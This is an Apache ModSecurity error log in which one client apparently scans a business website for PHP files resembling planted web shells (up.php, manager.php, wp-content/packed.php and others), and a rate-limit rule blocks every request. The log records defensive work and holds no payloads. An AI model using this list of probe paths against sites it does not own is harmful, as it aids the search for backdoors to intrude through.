[Mon Dec 15 20:42:49.933287 2025] [:error] [pid 31372:tid 31392] [client 4.194.147.174:16146] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aUACSQN06qRtpJxyxHih3wAAAJA"]
[Mon Dec 15 20:42:50.197044 2025] [:error] [pid 52155:tid 52181] [client 4.194.147.174:16283] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aUACShaJK6javjid3xy3EgAAARc"]
[Mon Dec 15 20:42:50.482442 2025] [:error] [pid 52155:tid 52172] [client 4.194.147.174:16142] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aUACShaJK6javjid3xy3FAAAAQ4"]
[Mon Dec 15 20:42:50.751990 2025] [:error] [pid 31372:tid 31380] [client 4.194.147.174:16133] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aUACSgN06qRtpJxyxHih4wAAAIQ"]
[Mon Dec 15 20:42:51.090026 2025] [:error] [pid 31373:tid 31420] [client 4.194.147.174:16128] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aUACS3FdnrU7ASwItVLhpwAAAM8"]
[Mon Dec 15 20:42:51.606477 2025] [:error] [pid 31374:tid 31442] [client 4.194.147.174:16149] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUACS5zSh8b7uk6RWiFiywAAAEo"]
[Mon Dec 15 20:42:51.952229 2025] [:error] [pid 52155:tid 52173] [client 4.194.147.174:16382] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUACSxaJK6javjid3xy3GAAAAQ8"]
[Mon Dec 15 20:42:52.198418 2025] [:error] [pid 31459:tid 31481] [client 4.194.147.174:16155] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUACTDqerS0TDpViRzto1QAAABQ"]
[Mon Dec 15 20:42:52.595352 2025] [:error] [pid 31372:tid 31400] [client 4.194.147.174:16353] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUACTAN06qRtpJxyxHih6wAAAJg"]
[Mon Dec 15 20:42:52.882643 2025] [:error] [pid 31374:tid 31453] [client 4.194.147.174:16199] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aUACTJzSh8b7uk6RWiFizwAAAFU"]
[Mon Dec 15 20:42:53.212249 2025] [:error] [pid 31374:tid 31456] [client 4.194.147.174:16215] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aUACTZzSh8b7uk6RWiFi0AAAAFg"]
[Mon Dec 15 20:42:53.446148 2025] [:error] [pid 31374:tid 31446] [client 4.194.147.174:16312] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aUACTZzSh8b7uk6RWiFi0QAAAE4"]
[Mon Dec 15 20:42:53.664479 2025] [:error] [pid 31459:tid 31467] [client 4.194.147.174:16313] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aUACTTqerS0TDpViRzto2wAAAAY"]
[Mon Dec 15 20:42:54.007907 2025] [:error] [pid 31374:tid 31440] [client 4.194.147.174:16225] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aUACTpzSh8b7uk6RWiFi0wAAAEg"]
[Mon Dec 15 20:42:54.393519 2025] [:error] [pid 31373:tid 31414] [client 4.194.147.174:16321] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aUACTnFdnrU7ASwItVLhvAAAAMk"]
[Mon Dec 15 20:42:54.785635 2025] [:error] [pid 31374:tid 31450] [client 4.194.147.174:16150] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aUACTpzSh8b7uk6RWiFi1gAAAFI"]
[Mon Dec 15 20:42:55.103695 2025] [:error] [pid 31373:tid 31421] [client 4.194.147.174:16144] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aUACT3FdnrU7ASwItVLhvgAAANA"]
[Mon Dec 15 20:42:55.379785 2025] [:error] [pid 52155:tid 52168] [client 4.194.147.174:16176] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aUACTxaJK6javjid3xy3HwAAAQo"]
[Mon Dec 15 20:42:55.693045 2025] [:error] [pid 31373:tid 31406] [client 4.194.147.174:16151] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aUACT3FdnrU7ASwItVLhwAAAAME"]
[Mon Dec 15 20:42:55.958422 2025] [:error] [pid 52155:tid 52164] [client 4.194.147.174:16067] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aUACTxaJK6javjid3xy3IQAAAQY"]
[Mon Dec 15 20:42:56.162685 2025] [:error] [pid 31373:tid 31408] [client 4.194.147.174:16333] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aUACUHFdnrU7ASwItVLhwgAAAMM"]
[Mon Dec 15 20:42:56.411908 2025] [:error] [pid 31372:tid 31393] [client 4.194.147.174:16198] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/usep.php"] [unique_id "aUACUAN06qRtpJxyxHih8AAAAJE"]
[Mon Dec 15 20:42:56.695996 2025] [:error] [pid 52155:tid 52161] [client 4.194.147.174:16109] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/usep.php"] [unique_id "aUACUBaJK6javjid3xy3JAAAAQM"]
[Mon Dec 15 20:42:57.079094 2025] [:error] [pid 52155:tid 52180] [client 4.194.147.174:16141] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/usep.php"] [unique_id "aUACURaJK6javjid3xy3JgAAARY"]
[Mon Dec 15 20:42:57.590417 2025] [:error] [pid 52155:tid 52158] [client 4.194.147.174:16224] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/usep.php"] [unique_id "aUACURaJK6javjid3xy3KAAAAQA"]
[Mon Dec 15 20:42:57.886654 2025] [:error] [pid 31459:tid 31482] [client 4.194.147.174:16082] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/auth.php"] [unique_id "aUACUTqerS0TDpViRzto6QAAABU"]
[Mon Dec 15 20:42:58.359275 2025] [:error] [pid 31372:tid 31389] [client 4.194.147.174:16158] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/auth.php"] [unique_id "aUACUgN06qRtpJxyxHih8QAAAI0"]
[Mon Dec 15 20:42:58.674958 2025] [:error] [pid 31374:tid 31449] [client 4.194.147.174:16181] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/auth.php"] [unique_id "aUACUpzSh8b7uk6RWiFi2gAAAFE"]
[Mon Dec 15 20:42:59.156249 2025] [:error] [pid 31372:tid 31398] [client 4.194.147.174:16228] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/auth.php"] [unique_id "aUACUwN06qRtpJxyxHih9AAAAJY"]
[Mon Dec 15 20:42:59.476089 2025] [:error] [pid 31459:tid 31478] [client 4.194.147.174:16182] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/packed.php"] [unique_id "aUACUzqerS0TDpViRzto6wAAABE"]
[Mon Dec 15 20:42:59.685350 2025] [:error] [pid 31372:tid 31390] [client 4.194.147.174:16269] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/packed.php"] [unique_id "aUACUwN06qRtpJxyxHih9QAAAI4"]
[Mon Dec 15 20:43:00.014042 2025] [:error] [pid 52155:tid 52172] [client 4.194.147.174:16009] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/packed.php"] [unique_id "aUACVBaJK6javjid3xy3LwAAAQ4"]
[Mon Dec 15 20:43:00.416014 2025] [:error] [pid 52155:tid 52163] [client 4.194.147.174:16106] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/packed.php"] [unique_id "aUACVBaJK6javjid3xy3NAAAAQU"]
[Mon Dec 15 20:43:00.905585 2025] [:error] [pid 31459:tid 31481] [client 4.194.147.174:16306] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aUACVDqerS0TDpViRzto7QAAABQ"]
[Mon Dec 15 20:43:01.431106 2025] [:error] [pid 31373:tid 31416] [client 4.194.147.174:16097] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aUACVXFdnrU7ASwItVLh0wAAAMs"]
[Mon Dec 15 20:43:01.715359 2025] [:error] [pid 31372:tid 31384] [client 4.194.147.174:16216] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aUACVQN06qRtpJxyxHih-gAAAIg"]
[Mon Dec 15 20:43:01.977792 2025] [:error] [pid 31372:tid 31377] [client 4.194.147.174:16065] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aUACVQN06qRtpJxyxHih_AAAAIE"]
[Mon Dec 15 20:43:02.206581 2025] [:error] [pid 31373:tid 31415] [client 4.194.147.174:16081] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abt.php"] [unique_id "aUACVnFdnrU7ASwItVLh1gAAAMo"]
[Mon Dec 15 20:43:02.503385 2025] [:error] [pid 31373:tid 31417] [client 4.194.147.174:16202] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abt.php"] [unique_id "aUACVnFdnrU7ASwItVLh2AAAAMw"]
[Mon Dec 15 20:43:02.848767 2025] [:error] [pid 31372:tid 31400] [client 4.194.147.174:16254] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abt.php"] [unique_id "aUACVgN06qRtpJxyxHiiAgAAAJg"]
[Mon Dec 15 20:43:03.214491 2025] [:error] [pid 52155:tid 52179] [client 4.194.147.174:16064] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abt.php"] [unique_id "aUACVxaJK6javjid3xy3OAAAARU"]
[Mon Dec 15 20:43:03.464818 2025] [:error] [pid 52155:tid 52175] [client 4.194.147.174:16188] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aUACVxaJK6javjid3xy3OQAAARE"]
[Mon Dec 15 20:43:03.700011 2025] [:error] [pid 31372:tid 31397] [client 4.194.147.174:16004] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aUACVwN06qRtpJxyxHiiAwAAAJU"]
[Mon Dec 15 20:43:04.143663 2025] [:error] [pid 31374:tid 31448] [client 4.194.147.174:16240] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aUACWJzSh8b7uk6RWiFi4AAAAFA"]
[Mon Dec 15 20:43:04.514398 2025] [:error] [pid 52155:tid 52168] [client 4.194.147.174:16259] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aUACWBaJK6javjid3xy3OwAAAQo"]
[Mon Dec 15 20:43:04.773795 2025] [:error] [pid 31374:tid 31452] [client 4.194.147.174:16108] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aUACWJzSh8b7uk6RWiFi4wAAAFQ"]
[Mon Dec 15 20:43:05.128860 2025] [:error] [pid 31374:tid 31449] [client 4.194.147.174:16190] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aUACWZzSh8b7uk6RWiFi5AAAAFE"]
[Mon Dec 15 20:43:05.414392 2025] [:error] [pid 31459:tid 31466] [client 4.194.147.174:16264] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aUACWTqerS0TDpViRzto-QAAAAU"]
[Mon Dec 15 20:43:05.752649 2025] [:error] [pid 31459:tid 31462] [client 4.194.147.174:16074] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aUACWTqerS0TDpViRzto_AAAAAE"]
[Mon Dec 15 20:43:06.188982 2025] [:error] [pid 31374:tid 31438] [client 4.194.147.174:16371] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aUACWpzSh8b7uk6RWiFi8QAAAEY"]
[Mon Dec 15 20:43:06.450272 2025] [:error] [pid 31459:tid 31465] [client 4.194.147.174:16094] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aUACWjqerS0TDpViRztpBAAAAAQ"]
[Mon Dec 15 20:43:07.171063 2025] [:error] [pid 52155:tid 52176] [client 4.194.147.174:16125] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aUACWxaJK6javjid3xy3UQAAARI"]
[Mon Dec 15 20:43:07.786316 2025] [:error] [pid 31374:tid 31453] [client 4.194.147.174:16027] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/up.php"] [unique_id "aUACW5zSh8b7uk6RWiFi_AAAAFU"]
[Mon Dec 15 20:43:08.434326 2025] [:error] [pid 31374:tid 31455] [client 4.194.147.174:16145] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aUACXJzSh8b7uk6RWiFi_gAAAFc"]
[Mon Dec 15 20:43:08.899699 2025] [:error] [pid 31373:tid 31416] [client 4.194.147.174:16165] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aUACXHFdnrU7ASwItVLh3QAAAMs"]
[Mon Dec 15 20:43:09.146982 2025] [:error] [pid 31459:tid 31477] [client 4.194.147.174:16218] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aUACXTqerS0TDpViRztpCgAAABA"]
